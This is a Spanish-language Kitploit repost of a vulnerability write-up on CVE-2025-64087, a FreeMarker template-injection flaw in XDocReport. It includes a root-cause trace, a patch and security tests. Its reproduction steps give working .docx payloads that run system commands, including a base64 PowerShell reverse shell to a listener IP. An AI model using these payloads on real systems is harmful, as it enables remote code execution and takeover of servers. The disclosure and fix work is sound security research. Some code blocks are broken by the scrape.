Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Herramientas/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de Payloads
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Ver Repositorio
11hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-64087 (SSTI FreeMarker)

Server-Side Template Injection (SSTI) en XDocReport permite la ejecución remota de código a través del motor Apache FreeMarker

Definición de la vulnerabilidad

Resumen de la vulnerabilidad

  • Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad web que permite a un atacante inyectar código malicioso en plantillas utilizadas por sistemas de gestión de contenidos (CMS) y frameworks web, con el fin de ejecutar ataques remotos, robar información sensible o realizar actividades de intrusión en el sistema.

  • SSTI es una variante de las vulnerabilidades de inyección (como SQL Injection, XSS, etc.) en la que el atacante aprovecha el uso de sistemas de plantillas para implementar código malicioso de forma remota. Cuando un ataque SSTI se ejecuta con éxito, el atacante puede ejecutar su propio código en el lado del servidor, lo que le permite realizar ataques remotos, como recopilar información sensible, realizar actividades de intrusión en el sistema y acceder a recursos no autorizados.

  • La vulnerabilidad SSTI generalmente ocurre debido al uso de sistemas de plantillas inseguros, o por no verificar ni procesar los parámetros de entrada antes de insertarlos en las plantillas. Si un ataque SSTI tiene éxito, las consecuencias pueden ser graves y causar grandes pérdidas para la organización atacada.

Impacto empresarial

  • La vulnerabilidad SSTI puede causar varias consecuencias graves, incluyendo:

  • Ejecución de código malicioso: El atacante puede usar esta vulnerabilidad para ejecutar código malicioso en el servidor, permitiendo robar datos, realizar acciones ilegales en el sistema, e incluso tomar el control total del servidor.

Descargar herramienta
  • Divulgación de información sensible: SSTI puede permitir al atacante leer, modificar o eliminar archivos en el servidor. Si estos archivos contienen información sensible, como cuentas y contraseñas, el atacante puede revelar fácilmente esta información.

  • Ataques de amenaza o phishing: El atacante puede usar SSTI para realizar ataques de amenaza o phishing, modificando el contenido del sitio web o agregando botones personalizados falsos. Si el usuario hace clic en estos botones, el atacante puede robar información del usuario o instalar software malicioso en su computadora.

  • Severity: CRITICAL

    image

    Descripción e Impacto

    Se encontró una vulnerabilidad de Server-Side Template Injection (SSTI) en OpenSAGRES XDocReport al procesar plantillas DOCX con el motor FreeMarker. Bajo ciertas configuraciones, las plantillas manipuladas pueden conducir a la ejecución remota de código (RCE).

    El sitio web de gestión de personal permite a los usuarios cargar archivos de documentos .docx en el sistema. Durante el procesamiento, la aplicación utiliza el motor de plantillas FreeMarker (en el archivo FreemarkerTemplateEngine.java) para renderizar el contenido ${"freemarker.template.utility.Execute"?new()("whoami")} sin ningún mecanismo de control o filtrado de contenido de entrada. Esta vulnerabilidad permite a un atacante inyectar expresiones maliciosas en el archivo .docx (plantilla), lo que lleva a una ejecución remota de código (RCE) en el servidor y puede ser explotada para robar información o tomar el control del sistema.

    Componente afectado

    fr.opensagres.xdocreport.template.freemarker — XDocReport (versiones 1.0.0 hasta 2.1.0).

    Análisis de causa raíz

    • En el archivo https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java no se realiza ninguna verificación del contenido del archivo xdoc de entrada. El contenido de la plantilla se carga directamente y se pasa a process(context, writer, template) para ser procesado por el motor FreeMarker sin ningún mecanismo de sandboxing o restricción de directivas/expresiones. Como resultado, un atacante puede proporcionar una plantilla que contenga expresiones/comandos FreeMarker maliciosos, lo que lleva a una ejecución remota de código (RCE).

    image

    Pasos para reproducir

    1. El usuario carga un archivo .docx cuyo contenido interno contiene el siguiente payload:``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. Se puede ejecutar con éxito y abrir la aplicación calc
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. Similarmente, para obtener información del usuario que se está ejecutando en el sistema con payload:```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. Se puede ver que el archivo .docx a través del procesamiento del motor de plantillas ha devuelto datos del sistema

    image

    1. Similar con el siguiente payload:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Aumentar el impacto a RCE
    
    - La máquina escucha es wsl con dirección IP `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - explotar con el siguiente payload:
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Procesar el archivo .docx con xdocreport

    image

    • Se capturó la shell devuelta en la máquina WSL

    image

    Solución

    Bloquear la ejecución de reflection (la más segura pero actualmente con errores de compilación)

    • en el archivo xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java agregar el siguiente contenido

    image

    image

    Mi método de corrección aún permite renderizar objetos y propiedades normales como ${cuong.name} y solo bloquea las funciones incorporadas PELIGROSAS.

    • Todos los payloads SSTI están bloqueados:
      • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUEADO por ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} - BLOQUEADO por setAPIBuiltinEnabled(false)
      • Todos los demás payloads que usan ?new() y ?api están bloqueados

    Validar entrada

    1. Archivo Principal - FreemarkerTemplateEngine.java

    Ruta: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Cambios:

    • ✅ Import agregado: java.util.regex.Pattern
      image

    • ✅ Método agregado validateTemplateSecurity(Reader reader) — Valida patrones peligrosos
      image

    • ✅ Actualizado processNoCache() — Se agregó validación antes de crear la plantilla
      image

    • ✅ Actualizado process(String templateName, …) — Se agregó validación a este método
      image

    2. Archivo de Prueba - FreemarkerTemplateEngineSecurityTestCase.java

    Ruta: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Cambios:

    • ✅ Nuevo caso de prueba creado — Prueba payloads SSTI comunes
    • ✅ Payload principal probado: ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Patrones adicionales probados: ?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.
    • ✅ Prueba de plantilla segura — Asegura que las plantillas normales aún funcionen correctamente

    Resumen de Cambios

    ArchivoTipo de CambioPropósito
    FreemarkerTemplateEngine.javaModificadoProtección SSTI agregada
    FreemarkerTemplateEngineSecurityTestCase.javaNuevo ArchivoPrueba la lógica de validación

    Corrección final

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    En la versión de parche 2.2.0 se ha activado el mecanismo de protección y se ha prevenido SSTI con éxito.

    image

    Referencias

    • https://portswigger.net/web-security/server-side-template-injection

    Configuración del entorno de depuración

    image

    • en el archivo Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Librería a importar```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A Punto de inicio (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → source chính là file DOCX này — nếu file được người dùng upload/ghi, nội dung template bên trong (FreeMarker syntax) là dữ liệu không tin cậy.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → leer el contenido del archivo para reenviar a XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) analiza (parse) el archivo DOCX, busca entradas/plantillas en el DOCX y crea un IXDocReport (internamente inicializará un objeto Template de FreeMarker o mantendrá un reader para la plantilla).
    
    - El contenido de la plantilla en el archivo DOCX ahora está en el objeto report (todavía no se ha ejecutado).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() itera sobre cada entrada (cada archivo) dentro del ZIP (.docx).
    
    archive = new XDocArchive(...) — si aún no existe un archive, inicializa un objeto para organizar/registrar las entradas del documento.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    En resumen: esta sección descomprime el contenido del DOCX en una estructura interna (XDocArchive) para que la parte posterior pueda acceder a los archivos secundarios (document.xml,...)```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    PasoAcciónPropósito
    1Leer archivo DOCXObtener la estructura del informe original
    2Crear IXDocReportRepresenta la plantilla
    3Asignar IDGestión única
    4Seleccionar motor de plantillasPara procesar expresiones (Freemarker/Velocity)
    5Cache si es necesarioOptimizar rendimiento
    6Devolver reportUsar para renderizar el archivo resultante

    image

    En resumen, no hay un mecanismo de verificación SSTI en IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); sino que solo carga los archivos xml dentro del docx y devuelve un IXDocReport report listo para procesar (por ejemplo, renderizar, fusionar datos…).

    image

    en report.process(context, out);

    image

    • Este es el punto de activación (sink de ejecución): XDocReport llamará al motor correspondiente (aquí FreeMarker) para fusionar la plantilla con el contexto y renderizar el resultado en out.
    • Este método toma la plantilla del documento (por ejemplo .docx o .odt) que se cargó previamente, luego inserta los datos del objeto context (generalmente IContext) en las variables de la plantilla.
    • Luego renderiza el documento completo (con datos reales) y escribe el resultado en el stream out, es decir, en el archivo results.docx.

    Al profundizar en el interior de esta función, llama a preprocess(...) que analiza XML leyendo cada entrada XML, luego parsea el contenido XML y crea un BufferedDocument para luego escribirlo en un Writer (esta es la versión XML que ha sido preprocesada).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    luego salta a `processNoCache()` y llama a `getReader()`
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    La función `getReader()` se utiliza para agregar una envoltura de directiva de escape alrededor de toda la plantilla, asegurando que el contenido se procese de manera segura (escape HTML, evitar inyección).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Plantilla original:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    Después de que getReader() procese:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    ayuda al motor Freemarker a leer de forma más segura:
    
    - Protección XML: Escapar caracteres especiales en XML
    - Manejo seguro: Evitar errores al analizar la plantilla Freemarker
    
    luego llama a `FMParser` para analizar la sintaxis de Freemarker
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    finalmente en `process()` llama a `environment.process();` y lector de datos```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Este es el paso más importante — la renderización real ocurre aquí.

    • getTemplate() devuelve la plantilla parseada (AST).

    • getRootTreeNode() es el nodo raíz del árbol sintáctico creado por FMParser durante el parseo.

    • visit() es la API principal de FreeMarker, utilizada para recorrer y renderizar cada elemento de la plantilla, y está definida en freemarker.core.Environment

      • Al encontrar TextBlock → escribe el texto en la salida.

      • Al encontrar Interpolation (ej. ${user.name}) → busca en dataModel, obtiene el valor, escribe en la salida.

      • Al encontrar #if, #list, #include, macro → procesa la lógica correspondiente.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    se activa en entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    luego salta a la función `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    El flujo de ejecución en la función `visit()` es el siguiente```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Resumen de depuración```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Resumen de los puntos clave explotables**
    
    | Fase                    | Clase                 | Rol                    | Relación SSTI            |
    | ----------------------- | -------------------- | ---------------------- | ------------------------ |
    | `loadReport()`          | `XDocReportRegistry` | Carga de plantilla     | Sin control de entrada   |
    | `getReader()`           | `TemplateEngine`     | Lectura de datos de plantilla | Puede contener payload       |
    | `FMParser`              | `freemarker.core`    | Analiza contenido      | Variables `${}` analizadas |
    | `Environment.process()` | `freemarker.core`    | Renderizado de plantilla | Llama `visit()` por cada nodo   |
    | `visit()` / `eval()`    | `freemarker.core`    | Ejecución de expresión | **Punto SSTI / RCE**   |
    
    ---
    
    ## Documentación
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link